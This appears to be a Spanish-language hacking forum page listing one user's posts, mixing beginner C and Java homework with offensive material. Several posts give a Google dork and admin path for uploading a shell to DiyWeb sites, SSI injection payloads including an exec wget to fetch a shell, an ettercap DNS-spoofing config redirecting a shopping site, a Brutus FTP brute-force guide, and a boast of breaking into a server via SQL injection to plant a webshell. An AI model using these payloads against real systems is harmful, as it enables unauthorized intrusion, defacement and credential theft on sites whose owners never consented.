Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - xc0d3

#1
Código: JAVA
public class Palindromo {

public static void main(String args[])
{
  ConsoleReader entrada = new ConsoleReader(System.in);
  String s="";
  System.out.print("Ingrese la palabra : ");
  s = entrada.readLine ();
 
  int i;
  int n=s.length();
  String str="";
  for(i=n-1;i>=0;i--)
  str=str+s.charAt(i);
  if(str.equals(s))
  System.out.println(s+ " es palindrome ");
  else
  System.out.println(s+ " no es  palindrome");
}

}

#2
e pensado en comprarme este tablet Ramos W17 mi duda es si soportara backtrack la arm :S
#3
Bugs y Exploits / DiyWeb exploit
Agosto 28, 2012, 01:07:55 AM
Dork
"Power by DiyWeb"
inurl:/template.asp?menuid=
exploit  : diyweb/menu/admin/image_manager.asp
ejemplo


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

y con un poco de ingenio bypass

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




y acá subiríamos nuestra shell

como somos chicos buenos le dejaremos un mensaje al admin

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


saludos
#4
Dudas y pedidos generales / [SOLUCIONADO] Zone-h
Agosto 06, 2012, 12:39:22 AM
asdawadasdadad
#5

Código: php
#  This program is free software; you can redistribute it and/or modify    #
#  it under the terms of the GNU General Public License as published by    #
#  the Free Software Foundation; either version 2 of the License, or       #
#  (at your option) any later version.                                     #
#                                                                          #
############################################################################
#                                                                          #
# Sample hosts file for dns_spoof plugin                                   #
#                                                                          #
# the format is (for A query):                                             #
#   www.myhostname.com A 168.11.22.33                                      #
#   *.foo.com          A 168.44.55.66                                      #
#                                                                          #
# or for PTR query:                                                        #
#   www.bar.com A 10.0.0.10                                                #
#                                                                          #
# or for MX query:                                                         #
#    domain.com MX xxx.xxx.xxx.xxx                                         #
#                                                                          #
# or for WINS query:                                                       #
#    workgroup WINS 127.0.0.1                                              #
#    PC*       WINS 127.0.0.1                                              #
#                                                                          #
# NOTE: the wildcarded hosts can't be used to poison the PTR requests      #
#       so if you want to reverse poison you have to specify a plain       #
#       host. (look at the www.microsoft.com example)                      #
#                                                                          #
############################################################################

################################
# microsoft sucks ;)
# redirect it to www.linux.org
#
mercadolibre.com      A   192.168.1.65:80
*.mercadolibre.com    A   192.168.1.65:80
www.mercadolibre.com  PTR 192.168.1.65:80      # Wildcards in PTR are not allowed

#microsoft.com      A   192.168.1.65
#*.microsoft.com    A   192.168.1.65
#www.microsoft.com  PTR 192.168.1.65      # Wildcards in PTR are not allowed
#
##########################################
# no one out there can have our domains...
#

www.alor.org  A 127.0.0.1
www.naga.org  A 127.0.0.1

###############################################
# one day we will have our ettercap.org domain
#

www.ettercap.org           A  127.0.0.1
ettercap.sourceforge.net   A  216.136.171.201

###############################################
# some MX examples
#

alor.org   MX  127.0.0.1
naga.org   MX  127.0.0.1

###############################################
# This messes up NetBIOS clients using DNS
# resolutions. I.e. Windows/Samba file sharing.
#

LAB-PC*  WINS  127.0.0.1

# vim:ts=8:noexpandtab


mm no me redirecciona  y en etter me aparece esto cuando pongo la pagina de mocosoft
dns_spoof: [microsoft.com] spoofed to [198.182.196.56]
dns_spoof: [microsoft.com] spoofed to [198.182.196.56]

#6

(Server Side Include) es una técnica de explotación de servidor que permite a un atacante enviar código a una aplicación web, que posteriormente será ejecutado localmente por el servidor web. el ataque permite la explotación de una aplicación web mediante la inyección de secuencias de comandos en páginas HTML o ejecutar códigos arbitrarios de forma remota .

Para este ejemplo he utilizado el comando <! - # echo var = "DATE_LOCAL" -> . Aquí hay un formulario de acceso en blanco Ahora, después de que me inyecto <! - # echo var = "DATE_LOCAL" -> en el nombre de usuario y contraseña de campo, esta salida es lo que asegura la página es vulnerable a la SSI, conforme se ejecuta el comando que he presentado en la presentación del formulario. Aquí está la salida. Ahora, yo no voy a aprovechar este servidor (no creo en la piratería sin razón), pero ahora sabiendo que el servidor es vulnerable a la SSI, que puede ejecutar un comando para subir una Shell y luego tomar el control del servidor. Comando: <! - # exec cmd = "wget No tienes permitido ver los links. Registrarse o Entrar a mi cuenta "->



<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre>

este comando nos permite ver los directorios




No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

con este comando nos permitirá enviar nuestra shell o exploit deface etc.

<!--#exec cmd="wget No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" -->

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta WEB PARA QUE PRACTIQUEN =D

#7
Código: c
#include <stdio.h>
#include <conio.h>
int main () {

textcolor(LIGHTGREEN);
textbackground(0);
clrscr();

int num [6];
int i,nm ;
int suma1=0;
int suma2=0;

for (i=0;i<6;i++)
{
    printf("Ingrese un valor ");
    scanf ("%d",& nm);
    num= nm;
    suma1 += num;

}
printf(" la suma es : %d",suma1);

for (i=0;i<6;i++)
{
    if (num % 2 == 1 )
    {

        suma2+= num;
     
    }       
   
         
}
   printf(" \nla suma de los impares es :%d " , suma2 );





getch();
return 0;
}
elaborar un programa en c que suma lo elementos impares de un arreglo



elaborar un programa que sume los elementos de un arreglo
« en: Hoy a las 12:16:31 pm »
#include <stdio.h>
#include <conio.h>


int main()
{

   int a[ 5 ] ;
   int i; /* contadorr */       
   int total = 0; // suma del arreglo */
   int num;//numero a ingresar//
   
   
   for ( i = 0; i < 5 ;i++ ) {//i++ lo suma
       printf("ingrese numero");//ingresa el numero
       scanf ("%d", & num);
       a[ i ]=num;
      total += a[ i ];
   } // cierre del ciclo para o for

   printf( "la suma de los elementos del arreglo es %d", total );
   getch () ;
   return 0;

}



#include <stdio.h>//librerias
#include <conio.h>

int main(void){
    float numero,         // nuemro actual
          anterior = -99; // nuemro anterior

    do{//do while se usa para hacer menu
        printf("Ingrese un numero : ");//salida de datos
        scanf("%f", &numero);//entrada de datos

         if(anterior == -99)// Se mira si es la primera vez que ingresa un numero
            printf("El numero ingresado es el mayor\n");
        else { // Si no es la primera vez
            // Se mira si son iguales
            if (numero == anterior)
                printf("Los numeros son iguales\n");// salida de datosse imprime que son iguales
            // Se mira cual es mayor
            else if (numero > anterior)
                printf("El numero ingresado es el mayor\n"); //
            else
                printf("El nuemro anterior es el mayor\n"); //
        }
        //Se guarda el numero
        anterior = numero;

    }while(numero!=-99);
printf ("digito -99 el programa se cierra");
    getch ();//se puede usar getchar igual sin conio. getch es de conio.h y se usa para una pausa

    return 0;}



Proceso numero
   Definir numero,acu Como Entero;
   numero<-0;
   acu<-0;
   Repetir
     
      Escribir "igrese un  numero";
      Leer numero;
     
      Si acu>numero Entonces
         Escribir n " Mayor Que " numero;
         
      Sino
         Si acu=numero Entonces
            Escribir acu " El numero es  Igual A " numero;
           
         Sino
            Escribir acu " el numero es menor Que " numero;
           
         FinSi
      FinSi
      acu=numero;
   Hasta Que numero = -99;
   Escribir "como presiono -99 ahora saldra del programa ";
   
FinProceso



#include <cstdlib>
#include <iostream>
#include <conio.h>
#define pi 3.14
float base,altura;
double area;
int main()
{
    float radio;
    printf ("ingrese  base");
    scanf("%f",& base);
   
   
    printf ("ingrese la altura");
    scanf("%f",& altura);
   area = ( base * altura )/2;
   printf ("el area es%f",area);
    getch ();
    return 0 ;
}


/*----------------------------------------------------------------
| Autor:
|
| Fecha:                     Versión: 1.0
|
|-----------------------------------------------------------------
|
| Descripción del Programa:
|
| ----------------------------------------------------------------*/
// Incluir E/S y Librerías Standard
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
// Zona de Declaración de Variables del Programa principal
int num,i,j,cont=0;

textcolor(6);
textbackground(0);
textmode( C4350 );

clrscr();
srand(time(NULL)); //me asegura el generar distintos valores al azar

          i=0;
      //    while(i<=15)
           for(i=0;i<=15;i++)
          {
              //var =   limite inf + rand() %  (limite superior + 1 - limite inferior)
              num=50+rand()% (101-50);
              printf("\nEl numero es %d", num);
              if(num%2==0){
                  cont++;  }
                                   
             if(cont == 4 )
             {       break; }
                 
            // i++;
          }
                 
         j=0;
         printf("\n\n\n");

         while(j<=15)
         {
           
            if(j==10)
            {
               j++;     
               continue;       
            }
             
            printf("\nEl numero es %d", j);           
            j++;
       }             
                 
                 
                 
getch();
return 0;

// Valor de retorno al S.O.
}

funciones raices
« en: Junio 11, 2012, 10:32:15 pm »
/*----------------------------------------------------------------
| Autor:

| ----------------------------------------------------------------*/
// Incluir E/S y Librerías Standard
#include <conio.h>
#include <stdio.h>
#include <math.h>

// DECLARACION DE FUNCIONES

float potencia (int b,int e);
float suma(int a, int b);
int resta(int a, int b);
float raiz(int a);
float promedio(int a, int b);
float logaritmo(int a);

int main() {
// Zona de Declaración de Variables del Programa principal
   int i;
   for (i=1;i<=10;i++)
   {
       printf(" La raiz de %d es igual a %f \n",i,raiz(i));
       printf(" El cuadrado de %d es igual a %.2f \n",i,potencia(i,2));
       printf(" El logaritmo de %d es igual a %.2f \n\n",i,logaritmo(i));
       
   }
   
   getch();
   
   
   
   return 0;

// Valor de retorno al S.O.
}



// IMPLEMENTACION DE FUNCIONES
float logaritmo(int a)
{
   float r = log10(a);
   return (r);   
}



float promedio(int a, int b)
{
      float prom = suma(a,b)/2;
      return prom;
}

float raiz(int a)
{
   float r = sqrt(a);
   return (r);   
}

float suma(int a, int b)
{
    float m = a+b;
    return(m);
}

int resta(int a, int b)
{
    int m = a-b;
    return(m);
}

float potencia (int b,int e)
{
      float pot = pow(b,e);  //pow pertenece a  math.h
      return(pot);
}




xdee

    Global Moderator
    Newbie
    *****
    Mensajes: 16

funciones
« en: Junio 11, 2012, 10:31:38 pm »
/*----------------------------------------------------------------
| Autor:
| ----------------------------------------------------------------*/
// Incluir E/S y Librerías Standard
#include <conio.h>
#include <stdio.h>

int es_menor(int a, int b);
void mostrar_mayor (int a, int b);

int main() {
// Zona de Declaración de Variables del Programa principal

// ENTRADAS


// PROCESO
mostrar_mayor(3,3);
mostrar_mayor(5,3);
mostrar_mayor(6,7);
mostrar_mayor(4,8);
mostrar_mayor(2,5);
mostrar_mayor(4,4);
mostrar_mayor(6,8);
mostrar_mayor(2,1);
mostrar_mayor(0,3);
getch();

// SALIDAS
return 0;
// Valor de retorno al S.O.
}

int es_menor(int a, int b)
{
    if(a < b)
         return(1);
    else if(a > b)
         return(2);
    else
         return(0);     
}

void mostrar_mayor(int a, int b)
{
     int m = es_menor(a,b);
     
     if (m==0) { printf("%d es igual a %d\n",a,b);}
     if (m==1) { printf("%d es menor que %d\n",a,b);}
     if (m==2) { printf("%d es mayor que %d\n",a,b);}
}



/*----------------------------------------------------------------
| Autor:

| ----------------------------------------------------------------*/
// Incluir E/S y Librerías Standard
#include <conio.h>
#include <stdio.h>
#include <math.h>

// DECLARACION DE FUNCIONES

float potencia (int b,int e);
float suma(int a, int b);
int resta(int a, int b);
float raiz(int a);
float promedio(int a, int b);

int main() {
// Zona de Declaración de Variables del Programa principal
   int n1,n2;
   float pot;
   int res;

// ENTRADAS
   printf("Ingrese num1 : ");
   scanf("%d",&n1);
   printf("Ingrese num2 : ");
   scanf("%d",&n2);   
   
// PROCESO
   
   pot = potencia(n1,n2);
   res = resta(n1,n2);
// SALIDAS
   printf("\n %d elevado a %d es igual a %.f \n",n1,n2,pot);
   printf(" La suma de %d y %d es igual a %f \n",n1,n2,suma(n1,n2));
   printf(" La resta de %d y %d es igual a %d \n",n1,n2,res);
   printf(" La raiz de %d es igual a %f \n",n1,raiz(n1));
   printf("\n El promedio de %d y %d es igual a %.2f \n",n1,n2,promedio(n1,n2));
   getch();
   return 0;

// Valor de retorno al S.O.
}



// IMPLEMENTACION DE FUNCIONES
float promedio(int a, int b)
{
      float prom = suma(a,b)/2;
      return prom;
}

float raiz(int a)
{
   float r = sqrt(a);
   return (r);   
}

float suma(int a, int b)
{
    float m = a+b;
    return(m);
}

int resta(int a, int b)
{
    int m = a-b;
    return(m);
}

float potencia (int b,int e)
{
      float pot = pow(b,e);  //pow pertenece a  math.h
      return(pot);
}
#8
Hacking / Intrusión por bash_History
Junio 18, 2012, 11:01:04 PM
bueno soy xc0d3 en mis tiempo libre me dedico a realizar intrusiones xD bueno  hace algunas semanas mi amigo y colega de aventuras  crackx me comento por facebook acerca de esta intrusión que realizo con [Q]3rV[0]   .
quiero compartir  el vídeo que grabo [Q]3rV[0] .



En este video pretendo mostrar como a travez de una SQLI se accede a ficheros internos en el servidor, en la intrusion Crackx y yo, nos topamos con el.bash_history del usuario root, parece ser q el administardor agrega usuarios y cambia el password de una manera poco segura diria yo...XD!, gracias a esta falencia logramos acceder al ftp del vps y subir una webshell.
Créditos [Q]3rV[0]  &  Crackx
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#9
Código: c
#include <stdio.h>
#include <conio.h>
int main () {
textcolor(LIGHTGREEN);
textbackground(0);
clrscr();

int opc;
int dinero ;
int  total = 25000;

printf("Bienvenido a la piza piza : ");

do
{                 
    printf("\n1)El combo 1 cuesta : 3500 ");
    printf("\n2)El combo 2 cuesta : 4000 ");
    printf("\n3)El combo 3 cuesta : 1500 ");
    printf("\n4)El combo 4 cuesta : 2500 ");
    printf(" ");
   
    printf("\nDigite su opcion ");
    scanf ("%d",& opc);
 
    if (opc == 1)
    {
        total= total - 3500 ;
        dinero= total ;
        printf ("su saldo en la tarjeta es de : %d ",dinero);
    }       
     else
     if (opc == 2)
    {
        total= total-4000 ;
        dinero= total ;
        printf ("su saldo en la tarjeta es de : %d ",dinero);
    }   
     else
     if (opc == 3)
    {
        total= total - 1500 ;
        dinero= total ;
        printf ("su saldo en la tarjeta es de : %d ",dinero);
    }   
     else
      if (opc == 4)
    {
        total= total - 2500 ;
        dinero= total ;
        printf ("su saldo en la tarjeta es de : %d ",dinero);
    }   
   




}
while (dinero > 1499 );
  printf("no le alcansa con su dinero ");

getch();
return 0;
}

bueno agradecer a la comunidad por ayudarme :D y orientarme :D
Como agrego una condicion para que el programa que cree no se pase a -100 etc .?¿ osea no siga restando sino que al kedar con menos dinero compre uno de los 4 y si tiene menos de 1499 le diaga adios
#10
programa en c que permita: Crear un arreglo de 100 números enteros que representan las edades de una persona. Estas deben estar entre 20 – 50 años. Mostrar las edades de manera tabulada en 10 filas de 10 edades. Mostrar el mensaje "El promedio de las edades es: XXX", donde XXX corresponde al cálculo correspondiente.
#11
Elaborar un programa que acepte por teclado números hasta que exista la condición de término -99. Cada vez que se ingrese un número este debe indicar si es menor o mayor que el ingresado anteriormente.
Código: c

#include <cstdlib>
#include <iostream>
#include <conio.h>
float numero=0;
float mayor=0 , menor=99999999;
int main()
{
   
   
do
{
    printf ("ingrese el numero : ");
    scanf("%f",& numero);

if (numero<menor)
{
menor=numero;

}

if (numero>mayor)
{
mayor=numero;

}



printf("El Mayor es: %f\n", mayor);
printf("El Menor es: %f\n", menor); 


} while (numero !=-99);
   

    getch ();
   
}
help
#12
Cursos, manuales y libros / Brutus
Junio 01, 2012, 11:28:36 AM
Contraseñas de FTP usando Ataque de Fuerza Bruta

FTP es una aplicación o servicio o protocolo que se puede utilizar para transferir archivos de un lugar a otro, lo que realmente es muy práctico durante la transferencia de archivos desde una máquina local a un mando a distancia.
vamos a discutir cómo podemos romper la contraseña de IIS instalado en el servicio FTP de Windows .

¿Qué es la fuerza bruta?
Fuerza Bruta es un tipo de ataque en el que cada posible combinación de las letras son juzgados, números y caracteres especiales hasta que la contraseña correcta se corresponde con el nombre de usuario. La principal limitación de este ataque es el factor tiempo. El tiempo que toma para encontrar la combinación adecuada depende principalmente de la longitud y la complejidad de la password.
1. La herramienta que se emplea "Brutus" Descargar : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta )
2. Necesitamos saber el destino del "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"
Procedimiento:
Paso 1 . Aquí e mostrado una página de autenticación de un servicio de FTP.


2. abrir "Brutus" y seleccionar la lista de palabras y seleccionar "FTP" en el menú desplegable y haga clic en Inicio.



Paso 3 . El tiempo que se toma como he mencionado anteriormente depende de la complejidad y la duración de la password.

#13
Cursos, manuales y libros / C|EH
Junio 01, 2012, 11:25:43 AM
Material CEH es muy difícil de encontrar y no esta en cualquier foro lo comparto con uds atte xc0d3



1: Student Introduction
2: Introduction to Ethical Hacking
3: Hacking Laws
4: Footprinting
5: Google Hacking
6: Scanning
7: Enumeration
8: System Hacking
9: Trojans and Backdoors
10: Viruses and Worms
11: Sniffers
12: Social Engineering
13: Phishing
14: Hacking Email Accounts
15: Denial of Service
16: Session Hijacking
17: Hacking Webservers
18: Web Application Vulnerabilities
19: Web based Password Cracking Techniques
20: SQL Injection
21: Hacking Wireless Networks
22: Physical Security
23: Linux Hacking
24: Evading IDS Firewall and Honeypot
25: Buffer Overflows
26: Cryptography
27: Penetration Testing
28: Writing Virus Codes
29: Assembly Language Tutorial
30: Exploit Writing 1
31: Exploit Writing 2
32: Exploit Writing 3
33: Reverse Engineering Techniques
34: MAC OS X Hacking
35: Hacking Routers, Cable Modems and Firewalls
36: Hacking Mobile Phones, PDA and Handheld Devices
37: Bluetooth Hacking
38: VoIP Hacking
39: RFID Hacking
40: Spamming
41: Hacking USB Devices
42: Hacking Database Servers
43: Cyber Warfare- Hacking Al-Qaida and Terrorism
44: Internet Content Filtering Techniques
45: Privacy on the Internet
46: Securing Laptop Computers
47: Spying Technologies
48: Corporate Espionage by Insiders
49: Creating Security Policies
50: Software Piracy and W
51: Hacking and Cheating Online Games
52: Hacking RSS and Atom
53: Hacking Web Browsers
54: Proxy Server Technologies
55: Preventing Data Loss
56: Hacking Global Positioning System
57: Computer Forensics and Incident Handling
58: Credit Card Frauds
59: How to Steal Passwords
60: Firewall Technologies
61: Threats and Countermeasures
62: Case Studies
63: Botnets
64: Economic Espionage
65: Patch Management
67: Security Convergence
68: Identifying the Terrorists
69: prova 312-50
70: CEH – Classroom Lab Setup v6









links:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#14

XSSer es una  herramienta de prueba  que automatiza el proceso de detección y explotación de inyecciones XSS contra diferentes aplicaciones.

XSS Es un tipo de inseguridad informática típico de las aplicaciones Web,
que permite a una tercera parte inyectar código JavaScript en páginas web vistas por el usuario.

Instalacion

apt-get install python-pycurl python-beautifulsoup python-libxml2 python-geoip en bt ya esta instalada





EJEMPLO

xss descubierto por mi amigo Crackx

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


mas Info ->No tienes permitido ver los links. Registrarse o Entrar a mi cuenta